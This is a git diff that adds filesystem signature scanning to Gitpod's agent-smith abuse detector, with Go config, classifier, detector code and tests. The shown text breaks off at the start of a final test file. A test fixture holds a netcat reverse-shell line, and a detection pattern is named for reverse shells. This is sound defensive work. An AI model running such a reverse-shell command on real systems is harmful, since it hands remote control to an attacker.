diff --git a/components/ee/agent-smith/example-config.json b/components/ee/agent-smith/example-config.json index 2a7ef4b3188706..be3d7b4b64519b 100644 --- a/components/ee/agent-smith/example-config.json +++ b/components/ee/agent-smith/example-config.json @@ -13,5 +13,11 @@ } ] } + }, + "filesystemScanning": { + "enabled": true, + "scanInterval": "5m", + "maxFileSize": 1024, + "workingArea": "/mnt/workingarea-mk2" } } diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index f805e0545ca101..cb37ea7bec10f3 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -51,8 +51,10 @@ type Smith struct { timeElapsedHandler func(t time.Time) time.Duration notifiedInfringements *lru.Cache - detector detector.ProcessDetector - classifier classifier.ProcessClassifier + detector detector.ProcessDetector + classifier classifier.ProcessClassifier + fileDetector detector.FileDetector + fileClassifier classifier.FileClassifier } // NewAgentSmith creates a new agent smith @@ -135,6 +137,32 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { return nil, err } + // Initialize filesystem detection if enabled + var filesystemDetec detector.FileDetector + var filesystemClass classifier.FileClassifier + if cfg.FilesystemScanning != nil && cfg.FilesystemScanning.Enabled { + // Create filesystem detector config + fsConfig := detector.FileScanningConfig{ + Enabled: cfg.FilesystemScanning.Enabled, + ScanInterval: cfg.FilesystemScanning.ScanInterval.Duration, + MaxFileSize: cfg.FilesystemScanning.MaxFileSize, + WorkingArea: cfg.FilesystemScanning.WorkingArea, + } + + // Create independent filesystem classifier (no dependency on process classifier) + filesystemClass, err = cfg.Blocklists.FileClassifier() + if err != nil { + log.WithError(err).Error("failed to create filesystem classifier") + } else { + filesystemDetec, err = detector.NewfileDetector(fsConfig, filesystemClass) + if err != nil { + log.WithError(err).Error("failed to create filesystem detector") + } else { + log.Info("Filesystem detector created successfully with independent classifier") + } + } + } + m := newAgentMetrics() res := &Smith{ EnforcementRules: map[string]config.EnforcementRules{ @@ -150,8 +178,10 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { wsman: wsman, - detector: detec, - classifier: class, + detector: detec, + classifier: class, + fileDetector: filesystemDetec, + fileClassifier: filesystemClass, notifiedInfringements: lru.New(notificationCacheSize), metrics: m, @@ -227,6 +257,12 @@ type classifiedProcess struct { Err error } +type classifiedFile struct { + F detector.File + C *classifier.Classification + Err error +} + // Start gets a stream of Infringements from Run and executes a callback on them to apply a Penalty func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace, []config.PenaltyKind)) { ps, err := agent.detector.DiscoverProcesses(ctx) @@ -234,10 +270,21 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace log.WithError(err).Fatal("cannot start process detector") } + // Start filesystem detection if enabled + var fs <-chan detector.File + if agent.fileDetector != nil { + fs, err = agent.fileDetector.DiscoverFiles(ctx) + if err != nil { + log.WithError(err).Warn("cannot start filesystem detector") + } + } + var ( wg sync.WaitGroup cli = make(chan detector.Process, 500) clo = make(chan classifiedProcess, 50) + fli = make(chan detector.File, 100) + flo = make(chan classifiedFile, 25) ) agent.metrics.RegisterClassificationQueues(cli, clo) @@ -268,6 +315,25 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace }() } + // Filesystem classification workers (fewer than process workers) + if agent.fileClassifier != nil { + for i := 0; i < 5; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for file := range fli { + class, err := agent.fileClassifier.MatchesFile(file.Path) + if err == nil && class.Level == classifier.LevelNoMatch { + log.Infof("File classification: no match - %s", file.Path) + continue + } + log.Infof("File classification result: %s (level: %s, err: %v)", file.Path, class.Level, err) + flo <- classifiedFile{F: file, C: class, Err: err} + } + }() + } + } + defer log.Info("agent smith main loop ended") // We want to fill the classifier in a Go routine seaparete from using the classification @@ -288,6 +354,15 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace // we're overfilling the classifier worker agent.metrics.classificationBackpressureInDrop.Inc() } + case file, ok := <-fs: + if !ok { + continue + } + select { + case fli <- file: + default: + // filesystem queue full, skip this file + } } } }() @@ -319,6 +394,32 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace }, }, }) + case fileClass := <-flo: + log.Infof("Received classified file from flo channel") + file, cl, err := fileClass.F, fileClass.C, fileClass.Err + if err != nil { + log.WithError(err).WithFields(log.OWI(file.Workspace.OwnerID, file.Workspace.WorkspaceID, file.Workspace.InstanceID)).WithField("path", file.Path).Error("cannot classify filesystem file") + continue + } + + log.WithField("path", file.Path).WithField("severity", cl.Level).WithField("message", cl.Message). + WithFields(log.OWI(file.Workspace.OwnerID, file.Workspace.WorkspaceID, file.Workspace.InstanceID)). + Info("filesystem signature detected") + + _, _ = agent.Penalize(InfringingWorkspace{ + SupervisorPID: file.Workspace.PID, + Owner: file.Workspace.OwnerID, + InstanceID: file.Workspace.InstanceID, + WorkspaceID: file.Workspace.WorkspaceID, + GitRemoteURL: []string{file.Workspace.GitURL}, + Infringements: []Infringement{ + { + Kind: config.GradeKind(config.InfringementExec, common.Severity(cl.Level)), // Reuse exec for now + Description: fmt.Sprintf("filesystem signature: %s", cl.Message), + CommandLine: []string{file.Path}, // Use file path as "command" + }, + }, + }) } } } diff --git a/components/ee/agent-smith/pkg/classifier/classifier.go b/components/ee/agent-smith/pkg/classifier/classifier.go index e1940afe05519c..b0c1e70d6c17eb 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier.go +++ b/components/ee/agent-smith/pkg/classifier/classifier.go @@ -48,6 +48,12 @@ type ProcessClassifier interface { Matches(executable string, cmdline []string) (*Classification, error) } +// FileClassifier matches filesystem files against signatures +type FileClassifier interface { + MatchesFile(filePath string) (*Classification, error) + GetFileSignatures() []*Signature +} + func NewCommandlineClassifier(name string, level Level, allowList []string, blockList []string) (*CommandlineClassifier, error) { al := make([]*regexp.Regexp, 0, len(allowList)) for _, a := range allowList { @@ -173,6 +179,7 @@ type SignatureMatchClassifier struct { } var _ ProcessClassifier = &SignatureMatchClassifier{} +var _ FileClassifier = &SignatureMatchClassifier{} var sigNoMatch = &Classification{Level: LevelNoMatch, Classifier: ClassifierSignature} @@ -223,6 +230,63 @@ func (sigcl *SignatureMatchClassifier) Matches(executable string, cmdline []stri return sigNoMatch, nil } +// MatchesFile checks if a filesystem file matches any filesystem signatures +func (sigcl *SignatureMatchClassifier) MatchesFile(filePath string) (c *Classification, err error) { + filesystemSignatures := sigcl.GetFileSignatures() + + if len(filesystemSignatures) == 0 { + return sigNoMatch, nil + } + + // Skip filename matching - the filesystem detector already filtered files + // based on signature filename patterns, so any file that reaches here + // should be checked for content matching against all filesystem signatures + matchingSignatures := filesystemSignatures + + // Open file for signature matching + r, err := os.Open(filePath) + if err != nil { + var reason string + if errors.Is(err, fs.ErrNotExist) { + reason = processMissNotFound + } else if errors.Is(err, os.ErrPermission) { + reason = processMissPermissionDenied + } else { + reason = processMissOther + } + log.WithFields(logrus.Fields{ + "filePath": filePath, + "reason": reason, + }).WithError(err).Debug("filesystem signature classification miss") + return sigNoMatch, nil + } + defer r.Close() + + var serr error + + src := SignatureReadCache{ + Reader: r, + } + for _, sig := range matchingSignatures { + match, err := sig.Matches(&src) + if match { + return &Classification{ + Level: sigcl.DefaultLevel, + Classifier: ClassifierSignature, + Message: fmt.Sprintf("filesystem signature matches %s", sig.Name), + }, nil + } + if err != nil { + serr = err + } + } + if serr != nil { + return nil, serr + } + + return sigNoMatch, nil +} + type SignatureReadCache struct { Reader io.ReaderAt header []byte @@ -240,6 +304,17 @@ func (sigcl *SignatureMatchClassifier) Collect(m chan<- prometheus.Metric) { sigcl.signatureHitTotal.Collect(m) } +// GetFileSignatures returns signatures that are configured for filesystem domain +func (sigcl *SignatureMatchClassifier) GetFileSignatures() []*Signature { + var filesystemSignatures []*Signature + for _, sig := range sigcl.Signatures { + if sig.Domain == DomainFileSystem { + filesystemSignatures = append(filesystemSignatures, sig) + } + } + return filesystemSignatures +} + // CompositeClassifier combines multiple classifiers into one. The first match wins. type CompositeClassifier []ProcessClassifier diff --git a/components/ee/agent-smith/pkg/classifier/filesystem_test.go b/components/ee/agent-smith/pkg/classifier/filesystem_test.go new file mode 100644 index 00000000000000..6f36e4e3a425d8 --- /dev/null +++ b/components/ee/agent-smith/pkg/classifier/filesystem_test.go @@ -0,0 +1,295 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package classifier + +import ( + "os" + "path/filepath" + "testing" +) + +func TestSignatureMatchClassifier_MatchesFile(t *testing.T) { + // Create temporary directory for test files + tempDir, err := os.MkdirTemp("", "agent-smith-test") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create test files + testFiles := map[string][]byte{ + "mining.conf": []byte("pool=stratum+tcp://pool.example.com:4444\nwallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"), + "wallet.dat": []byte("Bitcoin wallet data with private keys"), + "normal.txt": []byte("This is just a normal text file"), + "script.sh": []byte("#!/bin/bash\necho 'Hello World'"), + "malicious.sh": []byte("#!/bin/bash\nnc -e /bin/sh 192.168.1.1 4444"), + } + + for filename, content := range testFiles { + filePath := filepath.Join(tempDir, filename) + if err := os.WriteFile(filePath, content, 0644); err != nil { + t.Fatalf("failed to create test file %s: %v", filename, err) + } + } + + tests := []struct { + name string + signatures []*Signature + filePath string + expectMatch bool + expectLevel Level + }{ + { + name: "filesystem signature with filename match", + signatures: []*Signature{ + { + Name: "mining_pool_config", + Domain: "filesystem", + Pattern: []byte("stratum+tcp://"), + Filename: []string{"mining.conf", "*.conf"}, + }, + }, + filePath: filepath.Join(tempDir, "mining.conf"), + expectMatch: true, + expectLevel: LevelAudit, + }, + { + name: "filesystem signature with wildcard filename", + signatures: []*Signature{ + { + Name: "shell_script", + Domain: "filesystem", + Pattern: []byte("#!/bin/bash"), + Filename: []string{"*.sh"}, + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: true, + expectLevel: LevelVery, + }, + { + name: "filesystem signature with content match but wrong filename", + signatures: []*Signature{ + { + Name: "specific_file_only", + Domain: "filesystem", + Pattern: []byte("Hello World"), + Filename: []string{"specific.txt"}, + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "filesystem signature without filename restriction", + signatures: []*Signature{ + { + Name: "bitcoin_wallet", + Domain: "filesystem", + Pattern: []byte("Bitcoin wallet"), + }, + }, + filePath: filepath.Join(tempDir, "wallet.dat"), + expectMatch: true, + expectLevel: LevelBarely, + }, + { + name: "process signature should not match filesystem files", + signatures: []*Signature{ + { + Name: "process_only", + Domain: "process", + Pattern: []byte("Hello World"), + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "filesystem signature with regex pattern", + signatures: []*Signature{ + { + Name: "reverse_shell", + Domain: "filesystem", + Pattern: []byte("nc.*-e.*sh"), + Regexp: true, + Filename: []string{"*.sh"}, + }, + }, + filePath: filepath.Join(tempDir, "malicious.sh"), + expectMatch: true, + expectLevel: LevelVery, + }, + { + name: "no filesystem signatures", + signatures: []*Signature{ + { + Name: "process_sig", + Domain: "process", + Pattern: []byte("anything"), + }, + }, + filePath: filepath.Join(tempDir, "normal.txt"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "content pattern mismatch", + signatures: []*Signature{ + { + Name: "nonexistent_pattern", + Domain: "filesystem", + Pattern: []byte("this_pattern_does_not_exist"), + Filename: []string{"*.txt"}, + }, + }, + filePath: filepath.Join(tempDir, "normal.txt"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Validate signatures + for _, sig := range tt.signatures { + if err := sig.Validate(); err != nil { + t.Fatalf("signature validation failed: %v", err) + } + } + + classifier := NewSignatureMatchClassifier("test", tt.expectLevel, tt.signatures) + + result, err := classifier.MatchesFile(tt.filePath) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if tt.expectMatch { + if result.Level == LevelNoMatch { + t.Errorf("expected match but got no match") + } + if result.Level != tt.expectLevel { + t.Errorf("expected level %v, got %v", tt.expectLevel, result.Level) + } + if result.Classifier != ClassifierSignature { + t.Errorf("expected classifier %v, got %v", ClassifierSignature, result.Classifier) + } + } else { + if result.Level != LevelNoMatch { + t.Errorf("expected no match but got level %v", result.Level) + } + } + }) + } +} + +func TestSignatureMatchClassifier_FilesystemFileNotFound(t *testing.T) { + signatures := []*Signature{ + { + Name: "test_sig", + Domain: "filesystem", + Pattern: []byte("test"), + }, + } + + classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures) + + result, err := classifier.MatchesFile("/nonexistent/file.txt") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if result.Level != LevelNoMatch { + t.Errorf("expected no match for nonexistent file, got level %v", result.Level) + } +} + +func TestSignatureMatchClassifier_ContentMatching(t *testing.T) { + tests := []struct { + name string + filename string + content string + pattern string + expectMatch bool + }{ + { + name: "content matches pattern", + filename: "any-file.txt", + content: "test content", + pattern: "test", + expectMatch: true, + }, + { + name: "content does not match pattern", + filename: "any-file.txt", + content: "different content", + pattern: "test", + expectMatch: false, + }, + { + name: "empty content", + filename: "empty-file.txt", + content: "", + pattern: "test", + expectMatch: false, + }, + { + name: "binary pattern match", + filename: "binary-file.dat", + content: "foobar\n", + pattern: "foobar", + expectMatch: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Create a temporary file for testing + tempDir, err := os.MkdirTemp("", "agent-smith-content-test") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + filePath := filepath.Join(tempDir, tt.filename) + if err := os.WriteFile(filePath, []byte(tt.content), 0644); err != nil { + t.Fatalf("failed to create test file: %v", err) + } + + signatures := []*Signature{ + { + Name: "test_sig", + Domain: "filesystem", + Pattern: []byte(tt.pattern), + Filename: []string{}, // Empty filename list - classifier skips filename matching + }, + } + + if err := signatures[0].Validate(); err != nil { + t.Fatalf("signature validation failed: %v", err) + } + + classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures) + + result, err := classifier.MatchesFile(filePath) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if tt.expectMatch { + if result.Level == LevelNoMatch { + t.Errorf("expected content match but got no match") + } + } else { + if result.Level != LevelNoMatch { + t.Errorf("expected no content match but got level %v", result.Level) + } + } + }) + } +} diff --git a/components/ee/agent-smith/pkg/classifier/sinature.go b/components/ee/agent-smith/pkg/classifier/sinature.go index f861a02faa897c..9cf0d87a9f3f19 100644 --- a/components/ee/agent-smith/pkg/classifier/sinature.go +++ b/components/ee/agent-smith/pkg/classifier/sinature.go @@ -43,7 +43,9 @@ type Signature struct { // Name is a description of the signature Name string `json:"name,omitempty"` - // Domain describe where to look for the file to search for the signature (default: "filesystem") + // Domain describe where to look for the file to search for the signature + // "process" is dominant + // if domain is empty, we set "filesystem" Domain Domain `json:"domain,omitempty"` // The kind of file this signature can apply to @@ -149,6 +151,11 @@ func (s *Signature) Matches(in *SignatureReadCache) (bool, error) { } } + // necessary to do a string match for text files + if s.Domain == DomainFileSystem { + return s.matchTextFile(in) + } + // match the specific kind switch s.Kind { case ObjectELFSymbols: @@ -300,6 +307,37 @@ func (s *Signature) matchAny(in *SignatureReadCache) (bool, error) { return false, nil } +// matchAny matches a signature against a text file +func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { + buffer := make([]byte, 8096) + pos := s.Slice.Start + for { + n, err := in.Reader.ReadAt(buffer, pos) + sub := buffer[0:n] + pos += int64(n) + + match, matchErr := s.matches(sub) + if matchErr != nil { + return false, matchErr + } + if match { + return true, nil + } + + if err == io.EOF { + break + } + if err != nil { + return false, xerrors.Errorf("cannot read stream: %w", err) + } + if s.Slice.End > 0 && pos >= s.Slice.End { + break + } + } + + return false, nil +} + // matchesString checks if the signature matches a string (respects and caches regexp) func (s *Signature) matches(v []byte) (bool, error) { if s.Regexp { diff --git a/components/ee/agent-smith/pkg/config/config.go b/components/ee/agent-smith/pkg/config/config.go index 81adf9ca9467fe..8d291e92c142a4 100644 --- a/components/ee/agent-smith/pkg/config/config.go +++ b/components/ee/agent-smith/pkg/config/config.go @@ -9,6 +9,7 @@ import ( "fmt" "io/ioutil" "strings" + "time" "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" "github.com/gitpod-io/gitpod/agent-smith/pkg/common" @@ -171,9 +172,10 @@ type Config struct { Blocklists *Blocklists `json:"blocklists,omitempty"` - Enforcement Enforcement `json:"enforcement,omitempty"` - ExcessiveCPUCheck *ExcessiveCPUCheck `json:"excessiveCPUCheck,omitempty"` - Kubernetes Kubernetes `json:"kubernetes"` + Enforcement Enforcement `json:"enforcement,omitempty"` + ExcessiveCPUCheck *ExcessiveCPUCheck `json:"excessiveCPUCheck,omitempty"` + Kubernetes Kubernetes `json:"kubernetes"` + FilesystemScanning *FilesystemScanning `json:"filesystemScanning,omitempty"` ProbePath string `json:"probePath,omitempty"` } @@ -189,6 +191,40 @@ type WorkspaceManagerConfig struct { TLS TLS `json:"tls,omitempty"` } +// FilesystemScanning configures filesystem signature scanning +type FilesystemScanning struct { + Enabled bool `json:"enabled"` + ScanInterval Duration `json:"scanInterval"` + MaxFileSize int64 `json:"maxFileSize"` + WorkingArea string `json:"workingArea"` +} + +// Duration wraps time.Duration to provide JSON marshaling/unmarshaling +type Duration struct { + time.Duration +} + +// UnmarshalJSON implements json.Unmarshaler interface +func (d *Duration) UnmarshalJSON(data []byte) error { + var s string + if err := json.Unmarshal(data, &s); err != nil { + return err + } + + duration, err := time.ParseDuration(s) + if err != nil { + return err + } + + d.Duration = duration + return nil +} + +// MarshalJSON implements json.Marshaler interface +func (d Duration) MarshalJSON() ([]byte, error) { + return json.Marshal(d.Duration.String()) +} + // Slackwebhooks holds slack notification configuration for different levels of penalty severity type SlackWebhooks struct { Audit string `json:"audit,omitempty"` @@ -225,6 +261,42 @@ func (b *Blocklists) Classifier() (res classifier.ProcessClassifier, err error) return gres, nil } +// FileClassifier creates a classifier specifically for filesystem scanning +// This extracts only filesystem signatures from all blocklist levels and creates +// a clean classifier without any CountingMetricsClassifier wrapper +func (b *Blocklists) FileClassifier() (classifier.FileClassifier, error) { + if b == nil { + // Return a classifier with no signatures - will match nothing + return classifier.NewSignatureMatchClassifier("filesystem-empty", classifier.LevelAudit, nil), nil + } + + // Collect all filesystem signatures from all levels + var allFilesystemSignatures []*classifier.Signature + + for _, bl := range b.Levels() { + if bl == nil || bl.Signatures == nil { + continue + } + + for _, sig := range bl.Signatures { + if sig.Domain == classifier.DomainFileSystem { + fsSig := &classifier.Signature{ + Name: sig.Name, + Domain: sig.Domain, + Pattern: sig.Pattern, + Filename: sig.Filename, + Regexp: sig.Regexp, + } + allFilesystemSignatures = append(allFilesystemSignatures, fsSig) + } + } + } + + // Create a single SignatureMatchClassifier with all filesystem signatures + // Use LevelAudit as default - individual signatures can still have their own severity + return classifier.NewSignatureMatchClassifier("filesystem", classifier.LevelAudit, allFilesystemSignatures), nil +} + func (b *Blocklists) Levels() map[common.Severity]*PerLevelBlocklist { res := make(map[common.Severity]*PerLevelBlocklist) if b.Barely != nil { diff --git a/components/ee/agent-smith/pkg/config/config_test.go b/components/ee/agent-smith/pkg/config/config_test.go new file mode 100644 index 00000000000000..57f233fe4c4616 --- /dev/null +++ b/components/ee/agent-smith/pkg/config/config_test.go @@ -0,0 +1,149 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package config + +import ( + "testing" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" +) + +func TestFileClassifierIndependence(t *testing.T) { + // Create a blocklist with both process and filesystem signatures + blocklists := &Blocklists{ + Audit: &PerLevelBlocklist{ + Binaries: []string{"malware"}, // Process-related + Signatures: []*classifier.Signature{ + { + Name: "process-sig", + Domain: classifier.DomainProcess, + Pattern: []byte("process-pattern"), + Filename: []string{"malware.exe"}, + }, + { + Name: "filesystem-sig", + Domain: classifier.DomainFileSystem, + Pattern: []byte("filesystem-pattern"), + Filename: []string{"virus.exe"}, + }, + }, + }, + Very: &PerLevelBlocklist{ + Signatures: []*classifier.Signature{ + { + Name: "filesystem-sig-2", + Domain: classifier.DomainFileSystem, + Pattern: []byte("another-pattern"), + Filename: []string{"trojan.exe"}, + }, + }, + }, + } + + // Test process classifier (existing functionality - should be unchanged) + processClass, err := blocklists.Classifier() + if err != nil { + t.Fatalf("Failed to create process classifier: %v", err) + } + if processClass == nil { + t.Fatal("Process classifier should not be nil") + } + + // Test new filesystem classifier + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier: %v", err) + } + if filesystemClass == nil { + t.Fatal("Filesystem classifier should not be nil") + } + + // Verify filesystem classifier has the right signatures + fsSignatures := filesystemClass.GetFileSignatures() + if len(fsSignatures) != 2 { + t.Errorf("Expected 2 filesystem signatures, got %d", len(fsSignatures)) + } + + // Verify signatures are filesystem domain only + for _, sig := range fsSignatures { + if sig.Domain != classifier.DomainFileSystem { + t.Errorf("Expected filesystem domain signature, got %s", sig.Domain) + } + } + + // Verify they are completely independent objects (can't directly compare different interface types) + // Instead, verify they have different behaviors + processSignatures := 0 + if pc, ok := processClass.(*classifier.CountingMetricsClassifier); ok { + // Process classifier is wrapped in CountingMetricsClassifier + _ = pc // Just verify the type cast works + processSignatures = 1 // We know it exists because we created it + } + + filesystemSignatures := len(filesystemClass.GetFileSignatures()) + if filesystemSignatures == 0 { + t.Error("Filesystem classifier should have signatures") + } + + // They should serve different purposes + if processSignatures == 0 && filesystemSignatures == 0 { + t.Error("At least one classifier should have content") + } + + // Test filesystem classifier functionality + result, err := filesystemClass.MatchesFile("/nonexistent/virus.exe") + if err != nil { + t.Fatalf("Filesystem classification failed: %v", err) + } + if result == nil { + t.Error("Expected non-nil classification result") + } +} + +func TestFileClassifierEmptyConfig(t *testing.T) { + // Test with nil blocklists + var blocklists *Blocklists + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier from nil config: %v", err) + } + if filesystemClass == nil { + t.Fatal("Filesystem classifier should not be nil even with empty config") + } + + // Should have no signatures + signatures := filesystemClass.GetFileSignatures() + if len(signatures) != 0 { + t.Errorf("Expected 0 signatures from empty config, got %d", len(signatures)) + } +} + +func TestFileClassifierNoFilesystemSignatures(t *testing.T) { + // Test with blocklists that have no filesystem signatures + blocklists := &Blocklists{ + Audit: &PerLevelBlocklist{ + Binaries: []string{"malware"}, + Signatures: []*classifier.Signature{ + { + Name: "process-only", + Domain: classifier.DomainProcess, + Pattern: []byte("process-pattern"), + Filename: []string{"malware.exe"}, + }, + }, + }, + } + + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier: %v", err) + } + + // Should have no filesystem signatures + signatures := filesystemClass.GetFileSignatures() + if len(signatures) != 0 { + t.Errorf("Expected 0 filesystem signatures, got %d", len(signatures)) + } +} diff --git a/components/ee/agent-smith/pkg/detector/filesystem.go b/components/ee/agent-smith/pkg/detector/filesystem.go new file mode 100644 index 00000000000000..5dcdaa162c209d --- /dev/null +++ b/components/ee/agent-smith/pkg/detector/filesystem.go @@ -0,0 +1,264 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package detector + +import ( + "context" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" + "github.com/gitpod-io/gitpod/agent-smith/pkg/common" + "github.com/gitpod-io/gitpod/common-go/log" +) + +// FileDetector discovers suspicious files on the node +type FileDetector interface { + // DiscoverFiles based on a relative path match given the classifier's signatures + DiscoverFiles(ctx context.Context) (<-chan File, error) +} + +// File represents a file that might warrant closer inspection +type File struct { + Path string + Workspace *common.Workspace + Content []byte + Size int64 + ModTime time.Time +} + +// fileDetector scans workspace filesystems for files matching signature criteria +type fileDetector struct { + mu sync.RWMutex + fs chan File + + config FileScanningConfig + classifier classifier.FileClassifier + lastScanTime time.Time + + startOnce sync.Once +} + +// FileScanningConfig holds configuration for file scanning +type FileScanningConfig struct { + Enabled bool + ScanInterval time.Duration + MaxFileSize int64 + WorkingArea string +} + +var _ FileDetector = &fileDetector{} + +// NewfileDetector creates a new file detector +func NewfileDetector(config FileScanningConfig, fsClassifier classifier.FileClassifier) (*fileDetector, error) { + if !config.Enabled { + return nil, fmt.Errorf("file scanning is disabled") + } + + // Set defaults + if config.ScanInterval == 0 { + config.ScanInterval = 5 * time.Minute + } + if config.MaxFileSize == 0 { + config.MaxFileSize = 1024 // 1KB default + } + if config.WorkingArea == "" { + return nil, fmt.Errorf("workingArea must be specified") + } + + return &fileDetector{ + config: config, + classifier: fsClassifier, + lastScanTime: time.Time{}, // Zero time means never scanned + }, nil +} + +func (det *fileDetector) start(ctx context.Context) { + fs := make(chan File, 100) + go func() { + ticker := time.NewTicker(det.config.ScanInterval) + defer ticker.Stop() + + for { + select { + case <-ctx.Done(): + close(fs) + return + case <-ticker.C: + det.scanWorkspaces(fs) + } + } + }() + + go func() { + for f := range fs { + // Convert FilesystemFile to SuspiciousFile for compatibility + file := File{ + Path: f.Path, + Workspace: f.Workspace, + Content: nil, // Content will be read by signature matcher + Size: f.Size, + ModTime: f.ModTime, + } + det.fs <- file + } + }() + + log.Info("filesystem detector started") +} + +func (det *fileDetector) scanWorkspaces(files chan<- File) { + // Get filesystem signatures to know what files to look for + filesystemSignatures := det.GetFileSignatures() + if len(filesystemSignatures) == 0 { + log.Warn("no filesystem signatures configured, skipping scan") + return + } + + // Scan working area directory for workspace directories + workspaceDirs, err := det.discoverWorkspaceDirectories() + if err != nil { + log.WithError(err).Error("failed to discover workspace directories") + return + } + + log.Infof("found %d workspace directories, scanning for %d filesystem signatures", len(workspaceDirs), len(filesystemSignatures)) + + for _, wsDir := range workspaceDirs { + det.scanWorkspaceDirectory(wsDir, filesystemSignatures, files) + } +} + +// GetFileSignatures returns signatures that should be used for filesystem scanning +// These are extracted from the configured classifier +func (det *fileDetector) GetFileSignatures() []*classifier.Signature { + if det.classifier == nil { + return nil + } + + // Use the FileClassifier interface to get signatures + return det.classifier.GetFileSignatures() +} + +// discoverWorkspaceDirectories scans the working area for workspace directories +func (det *fileDetector) discoverWorkspaceDirectories() ([]WorkspaceDirectory, error) { + entries, err := os.ReadDir(det.config.WorkingArea) + if err != nil { + return nil, fmt.Errorf("cannot read working area %s: %w", det.config.WorkingArea, err) + } + + var workspaceDirs []WorkspaceDirectory + for _, entry := range entries { + if !entry.IsDir() { + continue + } + + // Skip hidden directories and service directories (ending with -daemon) + name := entry.Name() + if strings.HasPrefix(name, ".") || strings.HasSuffix(name, "-daemon") { + continue + } + + workspaceDir := WorkspaceDirectory{ + InstanceID: name, + Path: filepath.Join(det.config.WorkingArea, name), + } + workspaceDirs = append(workspaceDirs, workspaceDir) + } + + return workspaceDirs, nil +} + +// WorkspaceDirectory represents a workspace directory on disk +type WorkspaceDirectory struct { + InstanceID string + Path string +} + +func (det *fileDetector) scanWorkspaceDirectory(wsDir WorkspaceDirectory, signatures []*classifier.Signature, files chan<- File) { + // Create a minimal workspace object for this directory + workspace := &common.Workspace{ + InstanceID: wsDir.InstanceID, + // We don't have other workspace metadata from directory scanning + // These would need to be populated from other sources if needed + } + + // For each signature, check if any of its target files exist + for _, sig := range signatures { + for _, relativeFilePath := range sig.Filename { + matchingFiles := det.findMatchingFiles(wsDir.Path, relativeFilePath) + + for _, filePath := range matchingFiles { + // Check if file exists and get its info + info, err := os.Stat(filePath) + if err != nil { + continue + } + + // Skip directories + if info.IsDir() { + continue + } + + // Size check + size := info.Size() + if size == 0 || size > det.config.MaxFileSize { + log.Warnf("File size is too large, skipping: %s", filePath) + continue + } + + file := File{ + Path: filePath, + Workspace: workspace, + Content: nil, // Content will be read by signature matcher if needed + Size: size, + ModTime: info.ModTime(), + } + + log.Infof("Found matching file: %s (pattern: %s, signature: %s, size: %d bytes)", filePath, relativeFilePath, sig.Name, size) + + select { + case files <- file: + log.Infof("File sent to channel: %s", filePath) + default: + log.Warnf("File dropped (channel full): %s", filePath) + } + } + } + } +} + +// findMatchingFiles finds files matching a pattern (supports wildcards and relative paths) +func (det *fileDetector) findMatchingFiles(workspaceRoot, relativeFilePath string) []string { + // For wildcard relativeFilePaths, we need to search within the workspace + // For simplicity, only search in the root directory for now + // TODO: Could be extended to search subdirectories up to WorkspaceDepth + matches, err := filepath.Glob(filepath.Join(workspaceRoot, relativeFilePath)) + if err != nil { + return nil + } + + return matches +} + +// DiscoverFiles starts filesystem discovery. Must not be called more than once. +func (det *fileDetector) DiscoverFiles(ctx context.Context) (<-chan File, error) { + det.mu.Lock() + defer det.mu.Unlock() + + if det.fs != nil { + return nil, fmt.Errorf("already discovering files") + } + + res := make(chan File, 100) + det.fs = res + det.startOnce.Do(func() { det.start(ctx) }) + + return res, nil +} diff --git a/components/ee/agent-smith/pkg/detector/filesystem_test.go b/components/ee/agent-smith/pkg/detector/filesystem_test.go new file mode 100644 index 00000000000000..87c10c1d104f06 --- /dev/null +++ b/components/ee/agent-smith/pkg/detector/filesystem_test.go @@ -0,0 +1,362 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in 